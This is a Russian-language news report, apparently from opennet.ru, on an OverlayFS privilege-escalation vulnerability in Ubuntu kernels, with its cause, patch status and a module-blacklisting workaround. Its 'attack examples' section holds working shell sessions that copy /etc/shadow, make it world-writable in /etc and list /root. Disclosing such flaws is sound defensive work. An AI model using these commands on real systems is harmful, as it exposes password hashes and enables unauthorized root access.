Критическая уязвимость в OverlayFS, позволяющая поднять свои привилегии в Ubuntu
Разработчики Ubuntu уже оперативно выпустили обновление ядра Linux с исправленным модулем OverlayFS. Подверженность других дистрибутивов данной проблеме пока не подтверждена. В качестве временной меры защиты можно удалить или поместить в чёрный список модуль ядра overlayfs.ko (или overlay.ko).
Уязвимость вызвана некорректной проверкой прав доступа при создании новых файлов в директории нижележащей родительской файловой системы. Если ядро собрано с опцией "CONFIG_USER_NS=y" (включение пользовательских пространств имён) и при монтировании использован флаг FS_USERNS_MOUNT, имеется возможность монтирования OverlayFS обычным пользователем в отдельном пространстве имён, в котором в том числе допускаются операции с правами root, распространяющиеся только на данное пространство имён.
Напомним, что пространства имён для идентификаторов пользователей (user namespaces) позволяют сформировать в контейнерах собственные наборы идентификаторов групп и пользователей, а также связанные с ними привилегии (например, в каждом контейнере/пространстве имён может быть свой root). Например, определённый пользователь может получить в контейнере особенные привилегии, которые отсутствуют у него вне контейнера, или процесс внутри контейнера может получить права root, но остаться непривилегированным вне контейнера.
Суть проблемы в том, что привилегированные операции с файлами, выполненные в созданном пространстве имён, при использовании раздела OverlayFS остаются привилегированными и при выполнении действий с нижележащей ФС. Например, можно подключить в OverlayFS системный раздел /etc и модифицировать файл с паролями, посмотреть/заменить содержимое любых закрытых директорий и файлов. Опасность проблемы продемонстрирована готовым эксплоитом, позволяющим запустить shell с правами root через создание доступного на запись файла /etc/ld.so.preload.
Примеры атак.
Создадим полную копию файла /etc/shadow (в примерах под пользователем root подразумевается суперпользователь в пространстве имён, созданном обычным пользователем)
$ ./create-namespace # mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o # chmod 777 work/work/ # cd o # mv shadow copy_of_shadow (выход из созданного namespace) $ ls -al upper/copy_of_shadow -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow $ stat upper/copy_of_shadow /etc/shadow|grep Inode Device: 801h/2049d Inode: 939791 Links: 1 Device: 801h/2049d Inode: 277668 Links: 1
Поменяем права на файл и вернём его в директорию /etc (/etc монтируем как upperdir, а ранее созданную директорию как lowerdir, т.е. меняем upperdir и lowerdir местами):
$ ./create-namespace # mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o # chmod 777 work/work/ # cd o # chmod 777 copy_of_shadow ~/o# exit ~$ ls -al /etc/copy_of_shadow -rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow
Посмотрим содержимое директории /root:
$ ls -al /root ls: cannot open directory /root: Permission denied $ mkdir o upper work $ mount -t overlayfs -o lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work overlayfs /home/user/o $ ls -al o 2>/dev/null total 8 drwxrwxr-x 1 root nogroup 4096 May 24 16:33 . drwxr-xr-x 8 root nogroup 4096 May 24 16:33 .. -????????? ? ? ? ? ? .bash_history -????????? ? ? ? ? ? .bashrc d????????? ? ? ? ? ? .cache -????????? ? ? ? ? ? .lesshst d????????? ? ? ? ? ? linux-3.19.0
Источник: http://www.opennet.ru/opennews/art.shtml?num=42438
|
0 | Tweet | Нравится |
|